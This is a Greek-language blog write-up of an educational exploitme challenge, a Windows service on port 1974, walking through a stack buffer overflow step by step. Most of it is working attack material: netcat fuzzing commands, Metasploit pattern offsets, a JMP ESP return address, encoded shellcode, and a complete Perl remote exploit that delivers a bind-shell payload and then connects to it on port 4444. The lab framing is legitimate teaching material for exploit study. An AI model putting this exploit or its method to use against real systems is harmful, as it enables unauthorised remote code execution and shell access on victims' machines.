RSS

Homework-re-fall2011-v2.exe exploitation

05 Jan

Τις τελευταίες μέρες, έπεσε στα χέρια μου μία πολύ ενδιαφέρουσα -τύπου exploitme- άσκηση με την ονομασία homework-re-fall2011-v2.exe.Εκ πρώτης όψεως, πρόκειται για μια απλή εφαρμογή η οποία τρέχει σε μηχανήματα Windows και ακούει από άλλα μηχανήματα ή και το ίδιοστην port 1974. Σκοπός μας βάση της εκφώνησης της άσκησης (ναι! έχει εκπαιδευτικό χαρακτήρα το challenge) είναι να καταφέρουμε εκμεταλλευόμενοι κάποιο σφάλμα που πιθανώς υπάρχει στον κώδικα της εφαρμογής να αποκτήσουμε μη εξουσιοδοτημένη πρόσβαση στο μηχάνημα που την “τρέχει”.

Περισσότερες πληροφορίες σχετικά με την άσκηση μπορείτε να βρείτε εδώ.

Σε περίπτωση που θέλετε να δοκιμάσετε να exploitάρετε μόνοι σας την παραπάνω εφαρμογή, μην συνεχίσετε το διάβασμα αυτού του άρθρου παρακάτω!🙂

Ας ξεκινήσουμε με τα προαπαιτοόυμενα:

  • Ένα μηχάνημα Windows XP SP3 (test box) στο οποίο θα γίνουν οι δοκιμές μας και το οποίο θα πρέπει να είναι εφοδιασμένο με τον Immunity Debugger (εναλλακτικά τον Οllydbg).
  • Ένα μηχάνημα Backtrack 5 RC1 μέσα απ’ το οποίο θα υλοποιηθεί απομακρυσμένα η επίθεση στο μηχάνημα του στόχου καθώς και θα χρησιμοποιηθούν κατά τη διάρκεια της επίθεσης ορισμένα από τα εργαλεία που περιέχει.

Βήμα 1 – Η αναγνώρηση του προβλήματος.

Αφού ενεργοποιήσουμε τον Immunity Debugger στη συνέχεια (File -> Open) φορτώνουμε την εφαρμογή homework-re-fall2011-v2.exe. Η function η οποία φαίνεται στην παρακάτω εικόνα, ελέγχει το login του χρήστη. Αφού πάρει το username και το password που θα εισάγει ο χρήστης τα συγκρίνει με τα “poly” και “teknik”. Σε περίπτωση που είναι σωστό αυτό που εισάγει ο χρήστης, θα εμφανιστεί ένα μήνυμα που θα αναφέρει “No mail for %s” (όπου %s το username “poly”).

Μετά από αυτή την πολύ ενδιαφέρουσα πληροφορία ξεκινάμε την επίλυση του challenge. Σαν πρώτο αναγνωριστικό βήμα, δοκιμάζουμε να συνδεθούμε στο μηχάνημα που “τρέχει” την εφαρμογή στην port 1974, με τα στοιχεία “poly” και “teknik” που μόλις ανακαλύψαμε.

root@bt:~# nc 192.168.178.21 1974
Welcome to SNOW

Username: poly
Password: teknik
Login successful.

No mail for poly.

Ωραία, εχουμε καταφέρει να συνδεθούμε ως χρήστης “poly” αλλά τώρα τι; Σειρά έχει να προσπαθήσουμε να ανακαλύψουμε κάποια χμμ, ας πούμε ‘ασυνήθιστη συμπεριφορά’ κατά την εκτέλεση της εφαρμογής.

Μετά από λίγη ώρα (και αρκετό ψάξιμο!) ανακαλύψουμε ότι η εφαρμογή έχει πάσχει από ένα πρόβλημα (bug) κατά τη διαδικασία ελέγχου του password. Πιο συγκεκριμένα σε περίπτωση που ένας κακόβουλος χρήστης δοκιμάσει να εισάγει κάτι σαν το παρακάτω θα συνδεθεί επιτυχώς ως “poly”.

root@bt:~# nc 192.168.178.21 1974
Welcome to SNOW

Username: poly
Password: teknik_teh_pwn!
Login successful.

No mail for poly.

Βήμα 2 – Η εκμετάλλευση του προβλήματος

Παρατηρώντας την συμπεριφορά της εφαρμογής λίγη ώρα ακόμα, αναρωτιόμαστε τι θα γινόταν άραγε αν δίπλα ακριβώς στη λέξη “teknik” (κολλητά όμως!) βάζαμε ας πούμε 1000 “A”;  Θα έσκαγε άραγε λέτε;

Αποφασίζουμε να εισάγουμε την παρακάτω εντολή στο τερματικό μας (στο μηχάνημα Backtrack 5 RC1) και να δοκιμάσουμε την ιδέα μας:

root@bt:~# perl -e 'print "poly:teknik"."A"x1000;' | nc 192.168.178.21 1974
Welcome to SNOW

Username: ^C

Αφού εκτελέστηκε η προηγούμενη εντολή επιστρέφουμε στο μηχάνημα Windows XP SP3 και με χαρά παρατηρούμε ότι με τα 1000 bytes που στείλαμε, έχουμε καταφέρει να επεγράψουμε τον EIP register ο οποίος περιέχει την διεύθυνση του επόμενου προς εκτέλεση instruction.

Αυτό που μας ενδιαφέρει τώρα όμως, να ανακαλύψουμε ποία είναι τα 4 bytes που γράφουν πάνω στον EIP. Υπάρχουν αρκετοί τρόποι για να το επιτύχουμε αυτό. Εμείς θα χρησιμοποιήσουμε το (κλασικό πλέον) pattern_create.rb του metasploit με το οποίο θα δημιουργήσει ένα σύνολο 1000 αλφαριθμητικών στοιχείων (pattern).

root@bt:~# /pentest/exploits/framework/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Έτσι, αντικαταστήσουμε τα 1000 “A” με το σύνολο των 1000 αλφαριθμητικών στοιχείων που μόλις δημιουργήθηκε και στο στέλνουμε ξανά στο στόχο μας.

root@bt:~# perl -e 'print "poly:teknikAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";' | nc 192.168.178.21 1974
Welcome to SNOW

Username: ^C

Τώρα μπορούμε να βρούμε πόσα junk bytes προηγήθηκαν πριν από αυτά τα 4 bytes 64 41 36 64 που γράφτηκαν πάνω στον EIP. Θα χρησιμοποιήσουμε το εργαλείο pattern_offset.rb του metasploit.

EIP

root@bt:~# /pentest/exploits/framework/tools/pattern_offset.rb 0x64413664 1000
109

ESP

root@bt:~# /pentest/exploits/framework/tools/pattern_offset.rb 7Ad8 1000
113

Με απλά λόγια, χρειαζόμαστε 109 bytes για να επεγράψουμε την τιμή του EIP [+ 4] = 113 [ESP].

Αν οι προηγούμενοι υπολογισμοί μας είναι σωστοί τότε λογικά σκεπτόμενοι, στέλνοντας την παρακάτω εντολή στο μηχάνημα που “τρέχει” την εφαρμογή, θα πρέπει ο EIP να γραφτεί με 4 B (σε hex το 42).

root@bt:~# perl -e 'print "poly:teknik"."A"x109,"B"x4;' | nc 192.168.178.21 1974
Welcome to SNOW

Username: ^C

Τα καταφέραμε, είμαστε πλέον σε θέση να ελέγξουμε τον EIP register. Στη συνέχεια, πρέπει να σιγουρευτούμε ότι υπάρχει αρκετός διαθέσιμος χώρος ώστε να χωρέσει μέσα εκεί το shellcode μας.

Στέλνουμε ξανά στο στόχο μας:

root@bt:~# perl -e 'print "poly:teknik"."A"x109,"B"x4,"C"x887;' | nc 192.168.178.21 1974
Welcome to SNOW

Username: ^C

Ο ESP register, δείχνει τη διεύθυνση 0x0013AF14 ενώ παρατηρούμε ότι χωρίς προβλήματα τα C φτάνουν μέχρι τη διεύθυνση 0x0013B288. Άρα υπάρχει αρκετός διαθέσιμος χώρος (13B288 – 13AF14 = (374)HEX –> 884 Bytes) ώστε να χωρέσει το shellcode μας.

Μέχρι στιγμής, έχουμε καταφέρει να:

  1. Ελέγξουμε τον EIP register.
  2. Ανακαλύψουμε πόσο χώρο έχουμε στη διάθεση μας για να χωρέσουμε το shellcode.

Μας μένει τώρα, να βρούμε κάποιο τρόπο ώστε να “πηδήξουμε” (JMP) στο shellcode που θα δημιουργήσουμε στη συνέχεια. Για να το επιτύχουμε αυτό, πατάμε “ALT+E” ώστε να φορτωθεί η λίστα με τα ενεργά executable modules και στη συνέχεια απ’ την αναδυόμενη λίστα με τα Executable Modules διαλέγουμε κάποιο π.χ. το kernel32.dll

Αφού το επιλέξουμε πατάμε “CTRL+F” ώστε να ψάξουμε για την εντολή “JMP ESP” αλλά μέσα στο kernel32.dll αυτή τη φορά.

Η αναζήτηση, μας επέστρεψε τη διεύθυνση 0x7C874413 με την οποία και θα αντικαταστήσουμε τα 4 B όπου έγραφαν μέχρι τώρα πάνω στον EIP κατά τα προηγούμενα tests. Έτσι, μετά την εκτέλεση ο EIP θα δείχνει στην JMP ESP του kernel32.dll

Βήμα 3 –  Η επίθεση στην εφαρμογή.

Αφού πλέον γνωρίζουμε τα πάντα σχετικά με το πως θα εκμεταλλευτούμε το κενό ασφαλείας που ανακαλύψαμε στην εφαρμογή  θα δοκιμάσουμε δημιουργήσουμε ένα shellcode.

[ PASSWORD(JUNK)(RET)(NOPS)(SHELLCODE) ]

Στη πρώτη μας απόπειρα θα δοκιμάσουμε να εκτελέσουμε το calc.exe στο μηχάνημα του στόχου. Για δική μας ευκολία, θα “ζητήσουμε” απ’ το metasploit να το κατασκευάσει!

root@bt:/pentest/exploits/framework# ./msfpayload windows/exec cmd=calc.exe R | ./msfencode -b '\x00\x0a' -e x86/shikata_ga_nai -t perl
[*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

my $buf =
"\xda\xc5\xd9\x74\x24\xf4\x5a\xb8\x2e\x2c\x35\xb6\x29\xc9" .
"\xb1\x33\x31\x42\x17\x83\xea\xfc\x03\x6c\x3f\xd7\x43\x8c" .
"\xd7\x9e\xac\x6c\x28\xc1\x25\x89\x19\xd3\x52\xda\x08\xe3" .
"\x11\x8e\xa0\x88\x74\x3a\x32\xfc\x50\x4d\xf3\x4b\x87\x60" .
"\x04\x7a\x07\x2e\xc6\x1c\xfb\x2c\x1b\xff\xc2\xff\x6e\xfe" .
"\x03\x1d\x80\x52\xdb\x6a\x33\x43\x68\x2e\x88\x62\xbe\x25" .
"\xb0\x1c\xbb\xf9\x45\x97\xc2\x29\xf5\xac\x8d\xd1\x7d\xea" .
"\x2d\xe0\x52\xe8\x12\xab\xdf\xdb\xe1\x2a\x36\x12\x09\x1d" .
"\x76\xf9\x34\x92\x7b\x03\x70\x14\x64\x76\x8a\x67\x19\x81" .
"\x49\x1a\xc5\x04\x4c\xbc\x8e\xbf\xb4\x3d\x42\x59\x3e\x31" .
"\x2f\x2d\x18\x55\xae\xe2\x12\x61\x3b\x05\xf5\xe0\x7f\x22" .
"\xd1\xa9\x24\x4b\x40\x17\x8a\x74\x92\xff\x73\xd1\xd8\xed" .
"\x60\x63\x83\x7b\x76\xe1\xb9\xc2\x78\xf9\xc1\x64\x11\xc8" .
"\x4a\xeb\x66\xd5\x98\x48\x98\x9f\x81\xf8\x31\x46\x50\xb9" .
"\x5f\x79\x8e\xfd\x59\xfa\x3b\x7d\x9e\xe2\x49\x78\xda\xa4" .
"\xa2\xf0\x73\x41\xc5\xa7\x74\x40\xa6\x26\xe7\x08\x07\xcd" .
"\x8f\xab\x57";

Αφού ετοιμαστεί το shellcode, το στελνουμε στο στόχο μας :

root@bt:/pentest/exploits/framework# perl -e 'print "poly:teknik"."A"x109, "\x13\x44\x87\x7C" , "\x90"x20, "\xda\xc5\xd9\x74\x24\xf4\x5a\xb8\x2e\x2c\x35\xb6\x29\xc9\xb1\x33\x31\x42\x17\x83\xea\xfc\x03\x6c\x3f\xd7\x43\x8c\xd7\x9e\xac\x6c\x28\xc1\x25\x89\x19\xd3\x52\xda\x08\xe3\x11\x8e\xa0\x88\x74\x3a\x32\xfc\x50\x4d\xf3\x4b\x87\x60\x04\x7a\x07\x2e\xc6\x1c\xfb\x2c\x1b\xff\xc2\xff\x6e\xfe\x03\x1d\x80\x52\xdb\x6a\x33\x43\x68\x2e\x88\x62\xbe\x25\xb0\x1c\xbb\xf9\x45\x97\xc2\x29\xf5\xac\x8d\xd1\x7d\xea\x2d\xe0\x52\xe8\x12\xab\xdf\xdb\xe1\x2a\x36\x12\x09\x1d\x76\xf9\x34\x92\x7b\x03\x70\x14\x64\x76\x8a\x67\x19\x81\x49\x1a\xc5\x04\x4c\xbc\x8e\xbf\xb4\x3d\x42\x59\x3e\x31\x2f\x2d\x18\x55\xae\xe2\x12\x61\x3b\x05\xf5\xe0\x7f\x22\xd1\xa9\x24\x4b\x40\x17\x8a\x74\x92\xff\x73\xd1\xd8\xed\x60\x63\x83\x7b\x76\xe1\xb9\xc2\x78\xf9\xc1\x64\x11\xc8\x4a\xeb\x66\xd5\x98\x48\x98\x9f\x81\xf8\x31\x46\x50\xb9\x5f\x79\x8e\xfd\x59\xfa\x3b\x7d\x9e\xe2\x49\x78\xda\xa4\xa2\xf0\x73\x41\xc5\xa7\x74\x40\xa6\x26\xe7\x08\x07\xcd\x8f\xab\x57";' | nc 192.168.178.21 1974
Welcome to SNOW

Username: ^C

Βήμα 4 – Το τελικό exploit!

Η εκφώνηση της άσκησης μας προτρέπει να χρησημοποιήσουμε αυτό το shellcode.Το τελικό exploit μας θα έχει την παρακάτω μορφή:

#!/usr/bin/perl

use IO::Socket;

print "\n[*] Remote Buffer Overflow Exploit - homework-re-fall2011-v2.exe\n";
print "[*] http://pentest.cryptocity.net/files/exploitation/2011/homework-re-fall2011-v2.exe\n";
print "[*] mr.pr0n || https://ghostinthelab.wordpress.com \n\n";

print "Please, enter your target: \n> ";
chop ($target   =<STDIN>);

###
$username	= "poly";
$password	= "teknik";
###

$junk	 	= "\x41" x 109; 		# Send 109 "A".
$ret		= pack('V',0x7C874413); 	# JMP ESP - kernel32.dll
$nops 		= "\x90" x 20; 			# 20 nops.

# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# EXITFUNC=process, LPORT=4444, RHOST=
$shellcode =
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".
"\x29\x6b\x60\x28\x23";

if ($socket = IO::Socket::INET->new
	(PeerAddr => $target,
	PeerPort => "1974",
	Proto => "TCP"))
	{
		print "\n[*] Sending Buffer at: $target ...\n";
		$exploit  = $username.":".$password.$junk.$ret.$nops.$shellcode;
		print $socket $exploit."\r\n";
		sleep(1);
		close($socket);
		print "[*] Exploitation Done!\n\n";
                $command = "nc $target 4444";
                system ($command);
	}

else
	{
		print "[-] Connection to $target failed!\n";
	}

 
Leave a comment

Posted by on January 5, 2012 in It's Greek to Me

 

Tags: , , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: